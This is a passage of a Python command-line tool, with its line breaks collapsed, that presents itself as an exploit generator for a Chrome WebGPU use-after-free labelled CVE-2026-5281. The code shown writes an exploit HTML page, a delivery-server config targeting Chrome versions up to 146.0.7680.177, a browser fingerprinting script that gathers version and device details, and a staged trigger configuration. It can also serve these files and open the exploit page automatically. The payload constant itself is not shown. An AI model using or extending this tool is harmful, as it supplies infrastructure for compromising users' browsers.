Initializing...
""" class CVE_2026_5281_Exploit: """Main exploit generator and controller.""" def __init__(self, output_dir=".", verbose=False): self.output_dir = Path(output_dir) self.verbose = verbose self.exploit_id = hashlib.md5( f"{datetime.now().isoformat()}".encode() ).hexdigest()[:8] def log(self, msg, level='INFO'): prefix = f"[{level}]" if level else "" print(f"{prefix} {msg}") def generate_html_payload(self, filename="exploit.html"): """Generate and save the WebGPU exploit HTML.""" self.output_dir.mkdir(parents=True, exist_ok=True) output_path = self.output_dir / filename output_path.write_text(WEBGPU_EXPLOIT_PAYLOAD) self.log(f"Generated HTML payload: {output_path}", 'SUCCESS') return str(output_path) def generate_server_config(self, port=8080, filename="server_config.json"): """Generate HTTP server configuration to deliver payload.""" self.output_dir.mkdir(parents=True, exist_ok=True) config = { "port": port, "endpoints": { "/": "index.html", "/exploit": "exploit.html", "/poc": "cve-2026-5281-poc.html" }, "headers": { "X-Content-Type-Options": "nosniff", "X-Frame-Options": "DENY", "Content-Security-Policy": "script-src 'self' 'unsafe-inline'" }, "targets": { "chrome_windows_x64": { "min_version": "125.0.0.0", "max_version": "146.0.7680.177", "affected": True }, "chrome_macos": { "min_version": "125.0.0.0", "max_version": "146.0.7680.177", "affected": True }, "chrome_linux": { "min_version": "125.0.0.0", "max_version": "146.0.7680.177", "affected": True } } } config_path = self.output_dir / filename config_path.write_text(json.dumps(config, indent=2)) self.log(f"Generated server config: {config_path}", 'SUCCESS') return str(config_path) def generate_detection_script(self, filename="detect_vulnerability.js"): """Generate client-side vulnerability detection script.""" self.output_dir.mkdir(parents=True, exist_ok=True) detect_code = """ // CVE-2026-5281 Vulnerability Detector window.CVE_2026_5281 = { detected: false, chromeVersion: null, vulnerable: false, detect: async function() { // Extract Chrome version from User-Agent const ua = navigator.userAgent; const match = ua.match(/Chrome\\/(\\d+\\.\\d+\\.\\d+\\.\\d+)/); if (match) { this.chromeVersion = match[1]; const versionParts = match[1].split('.').map(x => parseInt(x)); // Check if version is vulnerable (< 146.0.7680.178) const vulnerable = ( (versionParts[0] < 146) || (versionParts[0] === 146 && versionParts[1] === 0 && versionParts[2] === 7680 && versionParts[3] < 178) ); this.vulnerable = vulnerable; this.detected = true; } // Check WebGPU availability const gpuAvailable = !!navigator.gpu; return { isChrome: !!match, version: this.chromeVersion, vulnerable: this.vulnerable, webgpuAvailable: gpuAvailable, fullReport: { userAgent: ua, platform: navigator.platform, hardwareConcurrency: navigator.hardwareConcurrency, deviceMemory: navigator.deviceMemory } }; } }; """ script_path = self.output_dir / filename script_path.write_text(detect_code) self.log(f"Generated detection script: {script_path}", 'SUCCESS') return str(script_path) def generate_staged_payload(self, stages=3, filename="staged_payload.json"): """Generate multi-stage payload configuration.""" self.output_dir.mkdir(parents=True, exist_ok=True) stages_config = [] for i in range(stages): stages_config.append({ "stage": i + 1, "name": f"UnsafeInit{i+1}", "delay_ms": 100 + (i * 50), "buffer_count": 4 + i, "buffer_size": 4096 * (2 ** i), "workgroup_size": 64 * (2 ** i) }) payload = { "cve": "CVE-2026-5281", "exploit_id": self.exploit_id, "timestamp": datetime.now().isoformat(), "stages": stages_config, "payload_type": "webgpu_uaf", "triggers": [ "rapid_buffer_creation", "compute_dispatch_sequence", "buffer_destroy_timing", "gpu_task_queue_overflow" ] } payload_path = self.output_dir / filename payload_path.write_text(json.dumps(payload, indent=2)) self.log(f"Generated staged payload: {payload_path}", 'SUCCESS') return str(payload_path) def test_webgpu_environment(self): """Test if WebGPU is available in current environment.""" try: # This would require Selenium or Pyppeteer for actual testing self.log("WebGPU environment test requires browser automation", 'INFO') self.log("Recommended: Use Pyppeteer or Selenium for automated testing", 'INFO') return False except Exception as e: self.log(f"Environment check failed: {e}", 'ERROR') return False def generate_all_payloads(self): """Generate all exploit artifacts.""" self.log("=" * 70, '') self.log("CVE-2026-5281 Exploit Generator", 'HEADER') self.log("=" * 70, '') self.generate_html_payload() self.generate_server_config() self.generate_detection_script() self.generate_staged_payload() self.log("=" * 70, '') self.log("All payloads generated successfully", 'SUCCESS') self.log("=" * 70, '') return { "html_payload": str(self.output_dir / "exploit.html"), "server_config": str(self.output_dir / "server_config.json"), "detection_script": str(self.output_dir / "detect_vulnerability.js"), "staged_payload": str(self.output_dir / "staged_payload.json") } # ───────────────────────────────────────────────────────────────────────────── # CLI INTERFACE # ───────────────────────────────────────────────────────────────────────────── def main(): parser = argparse.ArgumentParser( description="CVE-2026-5281 Chrome WebGPU Use-After-Free Exploit Generator", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python cve_2026_5281_exploit.py --generate-all python cve_2026_5281_exploit.py --html-payload --output ./payloads/ python cve_2026_5281_exploit.py --detection-only --verbose """ ) parser.add_argument('--generate-all', action='store_true', help='Generate all exploit artifacts') parser.add_argument('--html-payload', action='store_true', help='Generate WebGPU exploit HTML') parser.add_argument('--detection-script', action='store_true', help='Generate vulnerability detection script') parser.add_argument('--server-config', action='store_true', help='Generate HTTP server configuration') parser.add_argument('--staged-payload', action='store_true', help='Generate multi-stage payload config') parser.add_argument('--output', default='.', help='Output directory for artifacts') parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output') parser.add_argument('--serve', type=int, metavar='PORT', help='Serve the generated artifacts on a specific port (e.g., 8080)') args = parser.parse_args() # Default to --generate-all if no options specified generative_flags = [args.generate_all, args.html_payload, args.detection_script, args.server_config, args.staged_payload] if not any(generative_flags): args.generate_all = True exploit = CVE_2026_5281_Exploit(output_dir=args.output, verbose=args.verbose) if args.generate_all: exploit.generate_all_payloads() else: if args.html_payload: exploit.generate_html_payload() if args.detection_script: exploit.generate_detection_script() if args.server_config: exploit.generate_server_config() if args.staged_payload: exploit.generate_staged_payload() if args.serve: port = args.serve output_dir = Path(args.output).resolve() class Handler(http.server.SimpleHTTPRequestHandler): def __init__(self, *args, **kwargs): super().__init__(*args, directory=str(output_dir), **kwargs) with socketserver.TCPServer(("", port), Handler) as httpd: print(f"\n[+] Serving payload artifacts at: http://localhost:{port}/") exploit_url = f"http://localhost:{port}/exploit.html" print(f"[+] Suggestion: Open {exploit_url} in Chrome") print("Press Ctrl+C to stop the server.") try: # Optionally open the browser automatically to save the user a step webbrowser.open(exploit_url) httpd.serve_forever() except KeyboardInterrupt: print("\n[-] Server stopped.") if __name__ == '__main__': main()